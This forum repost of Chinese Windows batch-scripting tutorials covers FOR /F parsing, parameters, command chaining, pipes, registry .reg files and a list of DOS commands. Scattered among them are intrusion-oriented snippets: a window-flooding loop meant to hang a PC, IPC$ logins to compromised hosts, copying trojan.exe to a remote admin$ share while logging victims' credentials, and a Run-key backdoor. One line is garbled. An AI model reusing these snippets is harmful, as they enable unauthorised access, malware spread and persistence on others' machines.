保存執行看效果,他會打印從1 2 3 4 5 這樣5個數字
(1,1,5)這個參數也就是表示從1開始每次加1直到5終止!

再看這個例子
@echo off
for /l %%i in (1,1,5) do start cmd
pause

執行後是不是嚇了一跳,怎麼多了5個CMD窗口,呵呵!如果把那個 (1,1,5)改成 (1,1,65535)會有什麼結果,

我先告訴大家,會打開65535個CMD窗口....這麼多你不死機算你強!


當然我們也可以把那個startcmd改成md %%i 這樣就會建立指定個目錄了!!!名字為1-65535

看完這個被我賦予破壞性質的參數後,我們來看最後一個參數

/f

含有 /F for 詳細說明

含有 /F for 有很大的用處,在批處理中使用的最多,用法如下:
格式:
FOR /F ["options"] %%i IN (file) DOcommand

FOR/F ["options"] %%i IN ("string") DO command

FOR/F ["options"] %%i IN ('command') DO command

這個可能是最常用的,也是最強的命令,主要用來處理文件和一些命令的輸出結果。

file代表一個或多個文件

string 代表字符串

command代表命令

["options"]可選


對於FOR /F %%i IN (file) DO command

file為文件名,按照官方的說法是,for會依次將file中的文件打開,並且在進行到下一個文件之前將每個文件讀取到內存,按照每一行分成一個一個的元素,忽略空白的行,看個例子。

假如文件a.txt中有如下內容:

1 行第 1 1 行第 2 1 行第 3
2 行第 1 2 行第 2
2 行第 3
3 行第 1 3 行第 2 3 行第 3

你想顯示a.txt中的內容,會用什麼命令呢?當然是type,type a.txt

for也可以完成同樣的命令:

for /f %%i in(a.txt) do echo %%i

還是先從括號執行,因為含有參數/f,所以for會先打開a.txt,然後讀出a.txt裡面的所有內容,把它作為一個集合,並且以每一行作為一個元素,所以會產生這樣的集合,

{"
1 行第 1 1 行第 2 1 行第 3 " // 第一個元素

" 2 行第 1 2 行第 2
2 行第 3 " // 第二個元素

" 3 行第 1 3 行第 2 3 行第 3 "}   // 第三個元素

集合中只有3個元素,同樣用%%i依次代替每個元素,然後執行do後面的命令。

具體過程:

%%i 代替 " 1 行第 1 1 行第 2 1 行第 3 " ,執行 do 後面的 echo %%i ,顯示 "
1 行第 1 1 行第 2 1 行第 3 "

%%i 代替 " 2 行第 1 2 行第
2 2 行第 3 " ,執行 echo %%i ,顯示 " 2 行第 1 2 行第 2 2 行第 3 "

依次,直到每個元素都代替完為止。

為了加強理解/f的作用,請執行一下兩個命令,對比即可明白:

for/f %%i in (a.txt) do echo %%i // 這個會顯示 a.txt 裡面的內容,因為 /f 的作用,會讀出 a.txt
的內容。

for%%i in (a.txt) do echo %%i // 而這個只會顯示 a.txt 這個名字,並不會讀取其中的內容。

通過上面的學習,我們發現for /f會默認以每一行來作為一個元素,但是如果我們還想把每一行再分解更小的內容,該怎麼辦呢?不用擔心,for命令還為我們提供了更詳細的參數,使我們將每一行分為更小的元素成為可能。

它們就是: delims tokens


delims 用來告訴for每一行應該拿什麼作為分隔符,默認的分隔符是空格和tab鍵

比如,還是上面的文件,我們執行下面的命令:

for/f "delims= " %%i in (a.txt) do echo %%i

顯示的結果是:

1 行第 1
2 行第 1
3 行第 1

為什麼是這樣的呢。因為這裡有了delims這個參數,=後面有一個空格,意思是再將每個元素以空格分割,默認是只取分割之後的第一個元素。

執行過程是:

將第一個元素 "
1 行第 1 1 行第 2 1 行第 3 " 分成三個元素: " 1 行第 1 " " 1 行第 2 " "
1 行第 3 " ,它默認只取第一個,即 " 1 行第 1 " ,然後執行 do 後面的命令,依次類推。

但是這樣還是有局限的,如果我們想要每一行的第二列元素,那又如何呢?

這時候, tokens跳出來說,我能做到。

它的作用就是當你通過delims將每一行分為更小的元素時,由它來控制要取哪一個或哪幾個。

還是上面的例子,執行如下命令:

for/f "tokens=2 delims= " %%i in (a.txt) do echo %%i

執行結果:


1 行第 2
2 行第 2
3 行第 2

如果要顯示第三列,那就換成tokens=3。

同時tokens支持通配符*,以及限定範圍。

如果要顯示第二列和第三列,則換成tokens=2,3或tokens=2-3,如果還有更多的則為:tokens=2-10之類的。

此時的命令為:

for/f "tokens=2,3 delims= " %%i in (a.txt) do echo %%i %%j

怎麼多出一個 %%j

這是因為你的tokens後面要取每一行的兩列,用%%i來替換第二列,用%%j來替換第三列。

並且必須是按照英文字母順序排列的,%%j不能換成%%k,因為i後面是j

執行結果為:

1 行第 2 1 行第 3
2 行第 2 2 行第 3
3 行第 2
3 行第 3

對以通配符*,就是把這一行全部或者這一行的剩餘部分當作一個元素了。

比如:

for/f "tokens=* delims= " %%i in (a.txt) do echo %%i

執行結果為:

1 行第 1 1 行第 2 1 行第 3
2 行第
1 2 行第 2 2 行第 3
3 行第 1 3 行第 2 3 行第 3


其實就跟for /f %%i in (a.txt) do echo %%i的執行結果是一樣的。

再如:

for/f "tokens=2,* delims= " %%i in (a.txt) do echo %%i %%j

執行結果為:

1 行第 2 1 行第 3
2 行第 2 2 行第 3

3 行第 2 3 行第 3

用%%i代替第二列,用%%j代替剩餘的所有

最後還有skip合eol,這倆個簡單,skip就是要忽略文件的前多少行,而eol用來指定當一行以什麼符號開始時,就忽略它。

比如:

for/f "skip=2 tokens=*" %%i in (a.txt) do echo %%i

結果為:

3 行第 1 3 行第 2 3 行第
3

用skip來告訴for跳過前兩行。

如果不加tokens=*的話,執行結果為:

3 行第 1

不知道怎麼回事。

再如,當a.txt內容變成:

. 1 行第 1 1 行第 2 1 行第 3
.

2 行第 1 2 行第 2 2 行第 3
3 行第 1 3 行第 2 3 行第 3

執行 for /f "eol=. tokens=*"%%i in (a.txt) do echo %%i結果是:

3 行第 1 3 行第 2 3 行第 3

用eol來告訴for忽略以"."開頭的行。

同樣也必須加tokens=*,否則只會顯示"第3行第1列"

2.  如何在批處理文件中使用參數

批處理中可以使用參數,一般從1%到 9%這九個,當有多個參數時需要用shift來移動,這種情況並不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset

@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用於連續地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bata,呵呵,好像有點畫蛇添足了~^_^

sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數來賦給這個批處理,這樣就不用每次都打命令了。
@echo off
@net use \\\\1%\\ipc$ "2%" /u:"3%" 注意哦,這裡PASSWORD是第二個參數。
@if errorlevel 1 echo connection failed
怎麼樣,使用參數還是比較簡單的吧?你這麼帥一定學會了^_^.

3.  如何使用組合命令(Compound Command)

1.&

Usage:第一條命令 & 第二條命令 [& 第三條命令...]

用這種方法可以同時執行多條命令,而不管命令是否執行成功

Sample:
C:\\>dir z: & dir c:\\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\\Ex4rc

2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif

2.&&

Usage:第一條命令 && 第二條命令[&& 第三條命令...]


用這種方法可以同時執行多條命令,當碰到執行出錯的命令後將不執行後面的命令,如果一直沒有出錯則一直執行完所有命令;

Sample:
C:\\>dir z: && dir c:\\Ex4rch
The system cannot find the path specified.

C:\\>dir c:\\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\\Ex4rch

2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做備份的時候可能會用到這種命令會比較簡單,如:
dir file://192.168.0.1/database/backup.mdb&& copy file://192.168.0.1/database/backup.mdbE:\\backup
如果遠程服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命令。這種用法可以替換IF exist了 :)

3.||

Usage:第一條命令 || 第二條命令 [|| 第三條命令...]

用這種方法可以同時執行多條命令,當碰到執行正確的命令後將不執行後面的命令,如果沒有出現正確的命令則一直執行完所有命令;

Sample:
C:\\Ex4rch>dir sometips.gif || del sometips.gif

Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

組合命令使用的例子:
sample:
@copy trojan.exe \\\\%1\\admin$\\system32 && if not errorlevel 1 echoIP %1 USER %2 PASS %3 >>victim.txt

4.  管道命令的使用

1. | 命令

Usage:第一條命令 | 第二條命令 [| 第三條命令...]
將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。

sample:
time /t>>D:\\IP.log
netstat -n -p tcp|find ":3389">>D:\\IP.log
start Explore


看出來了麼?用於終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個bat,以獲得登錄用戶的IP。

 

2. >、>>輸出重定向命令

將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在於,>會清除調原有文件中的內容後寫入指定文件,而>>只會追加內容到指定文件中,而不會改動其中的內容。

sample1:
echo hello world>c:\\hello.txt (stupid example?)

sample2:
時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那裡鑽,DLL馬也不例外,針對這一點我們可以在安裝好系統和必要的應用程序後,對該目錄下的EXE和DLL文件作一個記錄:

運行CMD--轉換目錄到system32--dir*.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日後如發現異常但用傳統的方法查不出問題時,則要考慮是不是系統中已經潛入DLL木馬了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然後運行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txtdllback1.txt>diff.txt.(用FC命令比較前後兩次的DLL和EXE文件,並將結果輸入到diff.txt中),這樣我們就能發現一些多出來的DLL和EXE文件,然後通過查看創建時間、版本、是否經過壓縮等就能夠比較容易地判斷出是不是已經被DLL木馬光顧了。沒有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將後門DLL文件註銷掉,再把它移到回收站裡,若系統沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。

3. < 、>& 、<&

< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個句柄的輸出寫入到另一個句柄的輸入中。
<& 從一個句柄讀取輸入並將其寫入到另一個句柄輸出中。
這些並不常用,也就不多做介紹。

 

5.  如何用批處理文件來操作註冊表

在入侵過程中經常會操作註冊表的特定的鍵值來實現一定的目的,例如:為了達到隱藏後門、木馬程序而刪除Run下殘餘的鍵值。或者創建一個服務用以加載後門。當然我們也會修改註冊表來加固系統或者改變系統的某個屬性,這些都需要我們對註冊表操作有一定的瞭解。下面我們就先學習一下如何使用.REG文件來操作註冊表.(我們可以用批處理來生成一個REG文件)
關於註冊表的操作,常見的是創建、修改、刪除

1).創建

創建分為兩種,一種是創建子項(Subkey)


我們創建一個文件,內容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\hacker]

然後執行該腳本,你就已經在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft下創建了一個名字為「hacker」的子項。

另一種是創建一個項目名稱
那這種文件格式就是典型的文件格式,和你從註冊表中導出的文件格式一致,內容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Invader"="Ex4rch"
"Door"=C:\\\\WINNT\\\\system32\\\\door.exe
"Autodos"=dword:02

這樣就在[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下
新建了:Invader、door、about這三個項目
Invader的類型是「String Value」
door的類型是「REG SZ Value」
Autodos的類型是「DWORD Value」

2).修改

修改相對來說比較簡單,只要把你需要修改的項目導出,然後用記事本進行修改,然後導入(regedit /s)即可。

 

3).刪除

我們首先來說說刪除一個項目名稱,我們創建一個如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Ex4rch"=-


執行該腳本,[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下的"Ex4rch"就被刪除了;

 

附1: WIN2000下的9個批處理命令

批處理文件是將一系列命令按一定的順序集合為一個可執行的文本文件,其擴展名為BAT。

1)   REM

REM 是個註釋命令一般是用來給程序加上註解的,該命令後的內容在程序執行的時候將不會被顯示和執行。例:
REM 你現在看到的就是註解,這一句將不會被執行。在以後的例子中解釋的內容都REM 會放在REM後面。請大家注意。

2)   ECHO

ECHO 是一個回顯命令主要參數有OFF和 ON,一般用ECHO message來顯示一個特定的消息 。例:
Echo off
Rem 以上代表關閉回顯即不顯示所執行的命令
Echo 這個就是消息。
Rem 以上代表顯示"這就是消息"這列字符
執行結果:
C:\>ECHO.BAT
這個就是消息。

3)   GOTO

GOTO 即為跳轉的意思。在批處理中允許以":XXX"來構建一個標號然後用GOTO :標號直接來執行標號後的命令。例
:LABEL
REM 上面就是名為LABEL的標號。
DIR C:\
DIR D:\
GOTO LABEL
REM 以上程序跳轉標號LABEL處繼續執行。

4)   CALL

CALL 命令可以在批處理執行過程中調用另一個批處理,當另一個批處理執行完後再繼續執行原來的批處理。例:
批處理2.BAT內容如下:
ECHO 這就是2的內容
批處理1.BAT內容如下:
ECHO 這是1的內容
CALL 2.BAT
ECHO 1和2的內容全部顯示完成
執行結果如下:
C:\>1.BAT
這是1的內容
這就是2的內容
1和2的內容全部顯示完成

5)   PAUSE

PAUSE 停止系統命令的執行並顯示下面的內容。例:
C:\> PAUSE
請按任意鍵繼續 . . .

6)   IF

IF 條件判斷語句,語法格式如下:
IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command
說明:
[NOT] 將返回的結果取反值即"如果沒有"的意思。
ERRORLEVEL 是命令執行完成後返回的退出值
Number 退出值的數字取值範圍0~255。判斷時值的排列順序應該又大到小。返回的值大於或等於指定的值時條件成立。
string1==string2 string1和string2都為字符的數據,英文字符的大小寫將看做不同,這個條件中的等於號必須是2個(絕對相等),條件想等後即執行後面的 command
EXIST filename 為文件或目錄存在的意思。
IF ERRORLEVEL這條語句必須放在某一個命令後面。執行命令後由IF ERRORLEVEL來判斷命令的返回值。
例:
1、 IF [NOT] ERRORLEVEL number command

檢測命令執行完後的返回值做出判斷。
echo off
dir z:
rem 如果退出代碼為1(不成功)就跳至標題1處執行
IF ERRORLEVEL 1 goto 1
rem 如果退出代碼為0(成功)就跳至標題0處執行
IF ERRORLEVEL 0 goto 0
:0
echo 命令執行成功!
Rem 程序執行完畢跳至標題exit處退出
goto exit
:1
echo 命令執行失敗!
Rem 程序執行完畢跳至標題exit處退出
goto exit
:exit
Rem 這裡是程序的出口
2、 IF string1==string2 command
檢測當前變量的值做出判斷
ECHO OFF
IF %1==2 goto no
Echo 變量相等!
Goto exit
:no
echo 變量不相等
goto exit
:exit
大家可以這樣看效果 C:\>test.bat 數字

3、 IF [NOT] EXIST filename command
發現特定的文件做出判斷
echo off
IF not EXIST autoexec.bat goto 1
echo 文件存在成功!
goto exit
:1
echo 文件不存在失敗!
goto exit
:exit
這個批處理大家可以放在c盤和d盤分別執行看看效果。

7)   FOR

FOR這個命令比較特殊是一個循環執行命令的命令,同時FOR的循環裡面還可以套用FOR在進行循環。這篇我們介紹基本的用法就不做套用的循環了,後面再來講解套用的循環。在批處理中FOR的命令如下:
FOR [%%c] IN (set) DO [command] [arguments]
在命令行中命令如下:
FOR [%c] IN (set) DO [command] [arguments]

常用參數:
/L 該集表示以增量形式從開始到結束的一個數字序列。因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生序列 (5 4 3 2 1)。
/D 如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。

/F 從指定的文件中讀取數據作為變量
eol=c - 指一個行註釋字符的結尾(就一個)
skip=n - 指在文件開始時忽略的行數。
delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。
tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變量名稱的分配。m-n格式為一個範圍。通過 nth 符號指定 mth。如果符號字符串中的最後一個字符星號,那麼額外的變量將在最後一個符號解析之後分配並接受行的保留文本。
usebackq - 指定新語法已在下類情況中使用:在作為命令執行一個後引號的字符串並且一個單引號字符為文字字符串命令並允許在 filenameset中使用雙引號擴起文件名稱。
下面來看一個例子:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i%j %k
會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字符串的。
%i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要不試圖說明一個高於字母 'z' 或'Z' 的變量。請記住,FOR變量名分大小寫,是通用的;而且,同時不能有 52 個以上都在使用中。

您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,用單引號將括號之間的 filenameset 括起來。這樣,該字符串會被當作一個文件中的一個單一輸入行。最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括號之間的 filenameset 變成一個反括字符串。該字符串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被當作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
會枚舉當前環境中的環境變量名稱。
以下列舉一個簡單的例子,他將說明參數/L和沒有參數的區別:
刪除文件1.TXT 2.TXT 3.TXT 4.TXT 5.TXT
例:
ECHO OFF
FOR /L %%F IN (1,1,5) DO DEL %%F.TXT

FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT
以上2條命令執行的結果都是一樣的如下:
C:\>DEL 1.TXT
C:\>DEL 2.TXT
C:\>DEL 3.TXT
C:\>DEL 4.TXT
C:\>DEL 5.TXT

8)   SETLOCAL

開始批處理文件中環境改動的本地化操作。在執行 SETLOCAL 之後
所做的環境改動只限於批處理文件。要還原原先的設置,必須執
行 ENDLOCAL。 達到批處理文件結尾時,對於該批處理文件的每個
尚未執行的 SETLOCAL 命令,都會有一個隱含的ENDLOCAL 被
執行。例:
@ECHO OFF
SET PATH /*察看環境變量PATH
PAUSE
SETLOCAL
SET PATH=E:\TOOLS /*重新設置環境變量PATH
SET PATH
PAUSE
ENDLOCAL
SET PATH

從上例我們可以看到環境變量PATH第1次被顯示得時候是系統默認路徑。被設置成了E:\TOOLS後顯示為E:\TOOLS但當ENDLOCAL後我們可以看到他又被還原成了系統的默認路徑。但這個設置只在該批處理運行的時候有作用。當批處理運行完成後環境變量PATH將會還原。

9)   SHIFT

SHIFT命令可以讓在命令上的的命令使用超過10個(%0~%9)以上的可替代參數例:
ECHO OFF
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
執行結果如下:
C::\>SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11
1 2 3 4 5 6 7 8 9
2 3 4 5 6 7 8 9 10
3 4 5 6 7 8 9 10 11
以上就是基於 WIN2000下的9個批處理命令

 

附2:特殊的符號與批處理

在命令行下有些符號是不允許使用的但有些符號卻有著特殊的意義。

1)   符號(@)

@在批處理中的意思是關閉當前行的回顯。我們從上面知道用命令echo off可以關掉整個批處理的命令回顯但卻不能不顯示echo off這個命令。現在我們在這個命令前加上@這樣echo off這一命令就被@關閉了回顯從而達到所有命令均不回顯得要求。


2)   符號(>)

>的意思是傳遞並覆蓋。他所起的作用是將運行後的回顯結果傳遞到後面的範圍(後面可是文件也可是默認的系統控制台)例:
文件1.txt的文件內容為:
1+1
使用命令 c:\>dir *.txt >1.txt
這時候1.txt的內容如下
驅動器 C 中的卷沒有標籤。
卷的序列號是 301A-1508
C:\ 的目錄
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 個文件 18,630,070 字節
0 個目錄 1,191,542,784 可用字節
>將命令執行的結 哺橇嗽 嫉奈募 諶蕁?
在傳遞給控制台的時候程序將不會有任何回顯(注意:這裡的回顯跟echo off關掉的回顯不是同一概念。Echo off關掉的是輸入命令的回顯,這裡的回顯是程序執行中或後的回顯)例:
C:\>dir *.txt >nul
程序將沒有任何顯示也不會產生任何痕跡。

3)   符號(>>)

符號>>的作用與符號>相似,但他們的區別在於>>是傳遞並在文件末尾追加,>>也可將回顯傳遞給控制台(用法同上)例:
文件1.txt內同為:
1+1

使用命令c:\>dir *.txt >>1.txt
這時候1.txt的內容如下
1+1
驅動器 C 中的卷沒有標籤。
卷的序列號是 301A-1508
C:\ 的目錄
2003-03-11 14:04 1,005 FRUNLOG.TXT
2003-04-04 16:38 18,598,494 log.txt
2003-04-04 17:02 5 1.txt
2003-03-12 11:43 0 aierrorlog.txt
2003-03-30 00:35 30,571 202.108.txt
5 個文件 18,630,070 字節
0 個目錄 1,191,542,784 可用字節
>>將命令執行的結果追加在了原始的文件內容後面。

4) 符號(|)

|是一個管道傳輸命令意思是將上一命令執行的結果傳遞給下一命令去處理。例:
C:\>dir c:\|find "1508"
卷的序列號是 301A-1508
以上命令的意思為查找c:\的所有並發現1508字符串。Find的用法請用 find /?自行查看
在不使用format的自動格式化參數的時候我是這樣來自動格式化盤片的
echo y|fornat a: /s /q /v:system
用過format命令的人都知道format有一個交互對化過程,要使用者輸入y來確定當前的命令是否被執行。在這個命令前加上echo y並用管道傳輸符|將echo執行的結果y傳遞給format從而達到手工輸入y的目的(這條命令有危害性,測試的時候請謹慎)

5)   符號(^)

^ 是對特殊符號 > 、<、 &、的前導字符。在命令中他將以上的3個符號的特殊動能去掉僅僅只吧他們當成符號而不使用他們的特殊意義。例:

c:\>echo test ^> 1.txt
test > 1.txt
從上面可以看出並沒有把test寫入文件1.txt而是將test >1.txt 當字符串顯示了出來。這個符號在遠程構建批處理的時候很有效果。

6)   符號(&)

&符號允許在一行中使用2個以上不同的命令,當第一個命令執行失敗將不影響第2個命令的執行。例:
c:\> dir z:\ &dir y:\ &dir c:\
以上的命令將會連續顯示z: y: c:盤內的內容不理會該盤符是否存在。

7)   符號(&&)

&&符號也是允許在一行中使用2個以上不同的命令,當第一個命令執行失敗後後續的命令將不會再被執行。例:
c:\> dir z:\ &&dir y:\ &&dir c:\
以上的命令將會提示檢查是否存在z:盤如果存在則執行,如果不存在則停止執行所有的後續命令

8) 符號("")

" "符號允許在字符串中包含空格。進入一個特殊的目錄可以用如下方法例:
c:\>cd "Program Files"
c:\>cd progra~1
c:\>cd pro*
以上方法都可以進入Program Files目錄

9)   符號(,)

,符號相當於空格。在某些特殊的情況下可以用,來代替空格使用。例:
c:\>dir,c:\


10)  符號(;)

;符號當命令相同的時候可以將不同的目標用;隔離開來但執行效果不變。如執行過程中發生錯誤則只返回錯誤報告但程序還是會繼續執行。例:
DIR C:\;D:\;E:\F:\
以上的命令相當於
DIR C:\
DIR D:\
DIR E:\
DIR F:\
當然還有些特殊的符號但他們的使用範圍很小我就不再這裡一一的說明了。


原文出處: windows批处理(cmd/bat)编程详解 - bingjie1217的专栏 - 博客频道 - CSDN.NET
冷日
(冷日)
Webmaster
  • 註冊日: 2008/2/19
  • 來自:
  • 發表數: 15771
[轉貼]批次檔 BAT 最基礎的 71 個指令
[分享] 批次檔BAT最基礎的71個指令
在DOS系統下,有三類檔案是可以使DOS執行而進行某些工作,這三類檔案分別有以下三個不同的副檔名
1. .com (指令檔,命令檔) 例如 Command.com, Edit.com 等。
2. .exe (執行檔) 例如 Copy.exe, Mem.exe 等。
3. .bat (批次檔) 例如 Autoexec.bat 等。

其中 .com 及 .exe 的檔案是用編譯或組合語言寫出,需要較多工夫來學習編寫,一般終端用者 (end-user) 不會花時間來學習編寫這些程式,但 .bat 的批次檔是一連串的 DOS 內部或外部指令 (批次檔的意思是 指令集) ,或是執行程式的主檔名,因此只要懂得這些指令,加上一些簡單的語法,就可寫出批次檔。終端用者利用自己編寫的批次檔,就可使 DOS 執行自己編定的程序。
批次檔是由 DOS 指令組成,因此批次檔有錯誤時,就等於我們在提示號 (C)鍵入錯的指令一樣,螢幕會有 Bad command or file name 的回應。
批次檔必定要是純文字檔案,可使用 DOS 的編輯器(DOS Editor)或用windows內的 記事本 寫出來,這兩個都是簡單的文書處理器,文稿內不含任何控制碼 (如字款和字的大小,文章闊度等等),這就最適合用來編來批次檔。
指令大多數是為程式所用,對有寫一些簡單的自動化批次檔(Batch File)的人來說非常實用。在Window XP/7中利用cmd或是「所有程式/附屬應用程式/命令提示字元」進入指令模式後,你也可以利用「[help/?」指令查詢在系統提供的文字指令有哪些?

要瞭解特定命令的詳細資訊,請輸入 HELP 命令名稱:(以Windows XP為例)
ASSOC 顯示或修改檔案附檔名關聯。
AT 排定電腦上要執行的命令和程式。
ATTRIB 顯示或變更檔案屬性。
BREAK 設定或清除擴充的 CTRL+C 檢查。
CACLS 顯示或修改檔案的存取控制清單 (ACLs)。
CALL 從另一個批次程式呼叫一個批次程式。
CD 顯示目前目錄的名稱或變更。
CHCP 顯示或設定作用中的字碼編號。
CHDIR 顯示目前目錄的名稱或變更。
CHKDSK 檢查磁碟並顯示狀態報告。
CHKNTFS 顯示或修改開機時的磁碟檢查。
CLS 清除螢幕。
CMD 開始新的 Windows 命令轉譯器。
COLOR 設定預設主控台的前景和背景色彩。
COMP 比較兩個或兩組檔案的內容。
COMPACT 顯示或變更 NTFS 磁碟分割上的檔案壓縮。
CONVERT 將 FAT 磁碟區轉換成 NTFS 格式。您不可轉換目前的磁碟機。
COPY 將一個或數個檔案複製到另一個位置。
DATE 顯示或設定日期。
DEL 刪除檔案。
DIR 顯示目錄中的檔案和子目錄清單。
DISKCOMP比較兩張磁片的內容。
DISKCOPY將磁片上的內容複製到另一張磁片上。
DOSKEY 編輯命令列、恢復 Windows 命令和建立巨集。
ECHO 顯示訊息、開啟或關閉命令回音。
ENDLOCAL結束批次檔環境變更的本土化工作。
ERASE 刪除一個或更多檔案。
EXIT 結束 CMD.EXE 程式 (命令轉譯器)。
FC 比較兩個或兩組檔案,然後顯示兩者之間的相異處。
FIND 在檔案中搜尋文字字串。
FINDSTR 在檔案中搜尋字串。
FOR 在一組檔案中的每個檔案執行一個特定的命令。
FORMAT 將磁碟格式化供 Windows 使用。
FTYPE 顯示或修改用於檔案附檔名關聯中的檔案類型。
GOTO 將 Windows 命令轉譯器指向批次程式中已經加了標籤的列。
GRAFTABL啟用 Windows 在圖形模式下顯示擴充的字集。
HELP 為 Windows 命令提供說明資訊。
IF 在批次程式中執行有條件的處理程序。
LABEL 建立、變更或刪除磁碟的磁碟區標籤。
MD 建立目錄。
MKDIR 建立目錄。
MODE 設定系統裝置。
MORE 一次顯示一個螢幕的輸出。
MOVE 從一個目錄移動一個或數個檔案到另一個目錄。
PATH 顯示或設定執行檔的搜尋路徑。
PAUSE 暫停處理批次檔並顯示訊息。
POPD 還原 PUSHD 儲存的目錄之前的值。
PRINT 列印文字檔案。
PROMPT 變更 Windows 的命令提示。
PUSHD 儲存目前的目錄,然後變更它。
RD 移除目錄。
RECOVER 從損壞或不良的磁碟中修復可讀取的資訊。
REM 在批次檔或 CONFIG.SYS 記錄意見 (註解)。
REN 重新命名檔案。
RENAME 重新命名檔案。
REPLACE 取代檔案。
RMDIR 移除目錄。
SET 顯示、設定或移除 Windows 環境變數。
SETLOCAL開始批次檔中環境變更的本土化工作。
SHIFT 變更批次檔中可取代參數的位置。
SORT 將輸入排序。
START 開始另一個視窗來執行指定的程式或命令。
SUBST 將路徑與磁碟機代號相關聯。
TIME 顯示或設定系統時間。
TITLE 設定 CMD.EXE 工作階段的視窗標題。
TREE 以圖形顯示磁碟機或路徑的目錄結構。
TYPE 顯示文字檔的內容。
VER 顯示 Windows 版本。
VERIFY 告訴 Windows 是否要檢查您的檔案寫入磁片時正確與否。
VOL 顯示磁碟區標籤和序號。
XCOPY 複製檔案和樹狀目錄。

原文出處:批次檔BAT最基礎的71個指令 - 一般電腦軟體討論 - 麻辣家族討論版版
冷日
(冷日)
Webmaster
  • 註冊日: 2008/2/19
  • 來自:
  • 發表數: 15771
[轉貼]Windows Bat 命令编写大全
Windows Bat 命令編寫大全

1 echo 和 @
@                      #關閉單行回顯
echo off               #從下一行開始關閉回顯
@echo off              #從本行開始關閉回顯。一般批處理第一行都是這個
echo on                #從下一行開始打開回顯
echo                   #顯示當前是 echo off 狀態還是 echo on 狀態
echo.                  #輸出一個」回車換行」,空白行
                       #(同echo, echo; echo+ echo[ echo] echo/ echo")


2 errorlevel
echo %errorlevel%

每個命令運行結束,可以用這個命令行格式查看返回碼
默認值為0,一般命令執行出錯會設 errorlevel 為1

3 dir
dir                   #顯示當前目錄中的文件和子目錄
dir /a                #顯示當前目錄中的文件和子目錄,包括隱藏文件和系統文件
dir c: /a:d           #顯示 C 盤當前目錄中的目錄
dir c: /a:-d          #顯示 C 盤根目錄中的文件
dir c:" /b/p          #/b只顯示文件名,/p分頁顯示
dir *.exe /s          #顯示當前目錄和子目錄裡所有的.exe文件


4 cd
cd"                   #進入根目錄
cd                    #顯示當前目錄
cd /d d:"sdk          #可以同時更改盤符和目錄


5 md
